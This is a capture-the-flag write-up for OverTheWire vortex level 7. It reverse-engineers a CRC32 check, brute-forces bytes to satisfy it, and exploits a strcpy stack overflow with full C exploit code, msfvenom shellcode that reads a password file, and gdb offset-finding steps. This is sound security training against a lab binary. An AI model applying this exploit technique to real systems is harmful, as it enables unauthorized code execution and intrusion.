Overthewire vortex Wargame - Level 7
Posted by Klaus Eisentraut in ctf
This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2, Level #3, Level #4, Level #5, Level #6.
Level 7
Level #7 was a relatively easy one.
We need to exploit a simple strcpy
buffer overflow, but with the additional constraint that the buffer needs to have a given CRC32 checksum.
We are given the main
-function, but not the CRC32 calculation.
int main(int argc, char **argv)
{
char buf[58];
u_int32_t hi;
if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) {
strcpy(buf, argv[1]);
} else {
printf("0x%08x\n", hi);
}
}
Part 1 - Bypassing the CRC check
Our first goal is to understand how the CRC32 is calculated and to be able to make any buffer have the given CRC32 sum of 0xe1ca95ee
by appending four bytes.
If we look at the vortex7
-executable and reverse engineer the CRC32 algorithm, we get the following disassembly:
0804847d <crc32>: ; we know the function signature from the provided source code. It is
; uint32_t crc32(uint32_t start, char* data, size_t len)
804847d: 55 push ebp ; usual function prologue in x86 GCC calling convention
804847e: 89 e5 mov ebp,esp
8048480: 83 ec 10 sub esp,0x10 ; reserve 16 bytes for local variables
8048483: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] ; copy argument #2 (data) to local variable
8048486: 89 45 fc mov DWORD PTR [ebp-0x4],eax ; [ebp-0x4]
8048489: eb 27 jmp 80484b2 <crc32+0x35> ; loop start - jump to break condition
804848b: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] ; increment
804848e: 8d 50 01 lea edx,[eax+0x1] ; pointer
8048491: 89 55 fc mov DWORD PTR [ebp-0x4],edx ; in [ebp-0x4]
8048494: 0f b6 00 movzx eax,BYTE PTR [eax] ; mov current byte into eax
8048497: 0f b6 c0 movzx eax,al ; eax &= 0xff
804849a: 33 45 08 xor eax,DWORD PTR [ebp+0x8] ; xor it with current return value ("start")
804849d: 0f b6 c0 movzx eax,al ; eax &= 0xff
80484a0: 8b 04 85 00 86 04 08 mov eax,DWORD PTR [eax*4+0x8048600] ; eax = crctable[eax]
80484a7: 8b 55 08 mov edx,DWORD PTR [ebp+0x8] ; (start
80484aa: c1 ea 08 shr edx,0x8 ; <<8)
80484ad: 31 d0 xor eax,edx ; start = ^ crctable[ret & 0xff]
80484af: 89 45 08 mov DWORD PTR [ebp+0x8],eax ; start = (start<<8) ^ crctable[start & 0xff]
80484b2: 83 6d 10 01 sub DWORD PTR [ebp+0x10],0x1 ; (flow jumps here) len--
80484b6: 83 7d 10 00 cmp DWORD PTR [ebp+0x10],0x0 ; if len >= 0
80484ba: 79 cf jns 804848b <crc32+0xe> ; we are not finished yet, jump to 804848b
80484bc: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] ; if len < 0, return "start" stored in [ebp+0x8]
80484bf: c9 leave
80484c0: c3 ret
Translated back into C code, we get the following function:
uint32_t crc32(uint32_t start, const unsigned char* data, size_t len) {
uint32_t ret = start;
for (size_t i=0; i<len; ++i) {
ret ^= data[i];
ret = (ret >> 8) ^ crctable[ret & 0xff];
}
return ret;
}
The crctable
is at 0x8048600
and can be extracted with gdb
.
It is exactly 256 dwords long.
(gdb) x/256x 0x8048600
0x8048600 <crc32_table>: 0x00000000 0x77073096 0xee0e612c 0x990951ba
0x8048610 <crc32_table+16>: 0x076dc419 0x706af48f 0xe963a535 0x9e6495a3
[...snip...]
0x80489e0 <crc32_table+992>: 0xb3667a2e 0xc4614ab8 0x5d681b02 0x2a6f2b94
0x80489f0 <crc32_table+1008>: 0xb40bbe37 0xc30c8ea1 0x5a05df1b 0x2d02ef8d
Now, we are able to calculate the CRC32 checksum for given data.
We can even try if our algorithm matches up with the given one because the vortex7
executable will print the CRC32 sum for any input.
In the provided link, it is explained in great detail how one could make any given buffer to match a given CRC32 by adjusting the last four bytes.
However, we don't need any mathematics here!
2**32
is not this large and can actually be brute-forced in a reasonable time.
We simply increment the last four bytes until the CRC32 of the whole buffer happens to have the correct value!
void fix_end(unsigned char* prefix, size_t len, uint32_t targetvalue) {
assert(len >= 4);
uint32_t partial = crc32(prefix,len-4,0);
uint32_t* padding = (uint32_t*) (prefix + (len - 4));
while (1) {
if (crc32(partial, (unsigned char*) padding, 4) == targetvalue)
break;
// print occasional status messages about brute-force progress
if ((*padding) % 0x10000000 == 0)
printf("%u brute-force iterations done\n", *padding);
++(*padding);
};
}
It's not elegant and takes a few seconds, but it works reliable.
Part 2 - Exploiting the strcpy
buffer overflow
Now, we are left with simply exploiting the classic strcpy
exploit.
Our plan is to simply overwrite the return address and jump to our shellcode.
Similiar to the levels before, we will store our shellcode in an environment variable in order to be able to store arbitrary many bytes.
/* win7.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
#include <string.h>
uint32_t crctable[256] = {0x00000000,0x77073096, [...snip...], 0x2d02ef8d};
[...snip (crc32 and fix_end from above)...]
// msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex8" --format=c -b '\x00'
unsigned char shellcode[] =
"\xda\xc6\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x12\xb8\x8b\x17\x14"
"\x54\x83\xee\xfc\x31\x46\x14\x03\x46\x9f\xf5\xe1\x3e\x94\xa1"
"\x90\xed\xcc\x39\x8e\x72\x99\x5d\xb8\x5b\xea\xc9\x39\xcc\x23"
"\x68\x53\x62\xb2\x8f\xf1\x92\xe6\x4f\xf6\x62\xc9\x2d\x9f\x0c"
"\x3a\xd1\x3e\xa5\x64\x3a\xa4\x31\x07\x6b\x50\xd5\xb5\x07\xf9"
"\x51\x66\x98\x60\xd1\xeb\x77\x15\x7a\x79\xfc\xbc\xfc\x45\xfc"
"\x69\xae\x3c\x1d\x58\xd0";
void print_b2a(unsigned char* data, size_t len) {
for (size_t i=0; i<len; ++i)
printf("%02x", data[i]);
printf("\n");
}
int main(int argc, char* argv[]) {
const size_t LEN = 100;
unsigned char* buffer = (unsigned char*) malloc(LEN+4+1);
buffer[LEN+4+1] = 0;
memcpy(buffer, "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A", 100);
print_b2a(buffer, LEN+4);
fix_end(buffer, LEN+4, 0xe1ca95ee);
print_b2a(buffer, LEN+4);
char* argv_new[] = {"/vortex/vortex7", buffer, NULL};
char* const envp_new[] = {shellcode, NULL};
printf("execve vortex7\n");
execve("/vortex/vortex7", argv_new, envp_new);
}
The program above will crash, because we have overwritten the return address with garbage.
The value we submit to the vulnerable strcpy
was generated with pattern_create.rb
of MetaSploit.
$ /opt/metasploit/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Using a non-repeating pattern allows us to find the offset which ends up as the return address quite easily, we simply need to run above win7
executable and watch out for the segmentation fault.
It happens to be at address 0x35634134
as we can see with gdb
:
(gdb) env -i gdb ./win7
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) set exec-wrapper env -i
(gdb) set disable-randomization on
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) break main
(gdb) run
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) cont
(gdb) break *0x08048519
(gdb) cont
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x35634134 in ?? ()
Written in ASCII, this is 5cA4
. As the address is actually little-endian, we need to reverse it and get 4Ac5
.
All what we need to do know is to figure out where on the stack our shellcode (which we put into the environment variable) resides and replace the bytes 4Ac5
of the pattern with the shellcode's address.
Our shellcode starts with "\xda\xc6\xd9\x74...", so we search for the value 0x74d9c6da
on the stack:
(gdb) info proc mappings
process 3801
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /vortex/vortex7
0x8049000 0x804a000 0x1000 0x0 /vortex/vortex7
0x804a000 0x804b000 0x1000 0x1000 /vortex/vortex7
0xf7db3000 0xf7f89000 0x1d6000 0x0 /usr/lib32/libc-2.28.so
0xf7f89000 0xf7f8a000 0x1000 0x1d6000 /usr/lib32/libc-2.28.so
0xf7f8a000 0xf7f8c000 0x2000 0x1d6000 /usr/lib32/libc-2.28.so
0xf7f8c000 0xf7f8d000 0x1000 0x1d8000 /usr/lib32/libc-2.28.so
0xf7f8d000 0xf7f92000 0x5000 0x0
0xf7fd0000 0xf7fd3000 0x3000 0x0 [vvar]
0xf7fd3000 0xf7fd4000 0x1000 0x0 [vdso]
0xf7fd4000 0xf7ffb000 0x27000 0x0 /usr/lib32/ld-2.28.so
0xf7ffc000 0xf7ffd000 0x1000 0x27000 /usr/lib32/ld-2.28.so
0xf7ffd000 0xf7ffe000 0x1000 0x28000 /usr/lib32/ld-2.28.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find /w 0xfffdd000, +(0xffffe000-0xfffdd000), 0x74d9c6da
0xffffdf87
1 pattern found.
We replace the four bytes 4Ac5
with \x87\xdf\xff\xff
and are done:
vortex7@vortex:~$ gcc -o win7 --std=c99 win7.c
vortex7@vortex:~$ ./win7
416130416131416132416133416134416135416136416137416138416139416230416231416232416233416234416235416236416237416238416239416330416331416332416333416387dfffff4163364163374163384163394164304164314164324100000000
0 brute-force iterations done
268435456 brute-force iterations done
536870912 brute-force iterations done
805306368 brute-force iterations done
1073741824 brute-force iterations done
1342177280 brute-force iterations done
1610612736 brute-force iterations done
1879048192 brute-force iterations done
2147483648 brute-force iterations done
416130416131416132416133416134416135416136416137416138416139416230416231416232416233416234416235416236416237416238416239416330416331416332416333416387dfffff416336416337416338416339416430416431416432410ae0a488
execve vortex7
X7[...snip...]gl